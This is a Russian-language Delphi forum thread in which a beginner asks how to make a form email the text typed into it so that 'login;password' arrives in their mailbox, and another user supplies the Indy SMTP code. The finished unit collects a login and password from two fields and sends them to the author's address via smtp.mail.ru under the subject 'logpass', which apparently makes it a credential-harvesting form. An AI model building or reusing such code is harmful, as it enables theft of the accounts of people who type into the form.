E-mail и делфи. Выскакивает ошибка.

[Life9]

хм, нет.
извините за глупый вопрос, но как это сделать?
дельфи 3 день стоит, пока туго понимаю, да и с англ оч плохо у меня

[spamer]

На форму бросаете два компонента:
1) idSMPT, вкладка Indy Clients
2) IdMessage вкладка Indy Misc

[Life9]

спасибо, а префиксы какие ставить?

а вот ещё что... как сделать отправку текста из форм?
причём нужно что бы на мыло приходило логин;пароль

[spamer]

спасибо, а префиксы какие ставить?

Что еще за префиксы?

а вот ещё что... как сделать отправку текста из форм?
причём нужно что бы на мыло приходило логин;пароль

Body.Add(Edit1.Text + ';' + Edit2.Text);

P.S. Лучше прописуйте порт 2525. А то иногда проблемы бывают если просто 25.

[Life9]

Что еще за префиксы?

[spamer]

А вы при изучении Делфи, главу в книге "Компоненты" не пропускали случайно???

IdSMTP1 - это имя компонента, ваше произвольное.

[Life9]

да у меня учебники корявые, ничё не понятно. написано для новичков, но ничего не ясно...

[spamer]

Сообщение от Life9

да у меня учебники корявые, ничё не понятно. написано для новичков, но ничего не ясно...

Для новичков - "Библия Делфи" М.Фленов

[Life9]

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdMessageClient, IdSMTP, IdMessage;

type
  TForm1 = class(TForm)
    Button1: TButton;
    IdSMTP1: TIdSMTP;
    edt1: TEdit;
    edt2: TEdit;
    login: TLabel;
    pass: TLabel;
    IdMessage1: TIdMessage;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  mes: TIdMessage;
begin
  mes:=TIdMessage.Create(Form1);
  IdSMTP1.Host:='smtp.mail.ru';
  IdSMTP1.Port:=2525;
  IdSMTP1.AuthenticationType:=atLogin;
  IdSMTP1.Username:='mail';
  IdSMTP1.Password:='pass';

with mes do
  begin
    Body.Add(Edit1.Text + ';' + Edit2.Text);
    From.Text := 'ваш  E-mail';
    Recipients.EMailAddresses := 'ваш  E-mail';
    Subject := 'logpass';
  end;

  IdSMTP1.Connect;
  If IdSMTP1.Connected Then IdSMTP1.Send(mes);
  IdSMTP1.Disconnect;
end;

end.

теперь кричит на Body.Add(Edit1.Text + ';' + Edit2.Text);

[spamer]

Заполните только свои данные в соответствующих полях кода и запускайте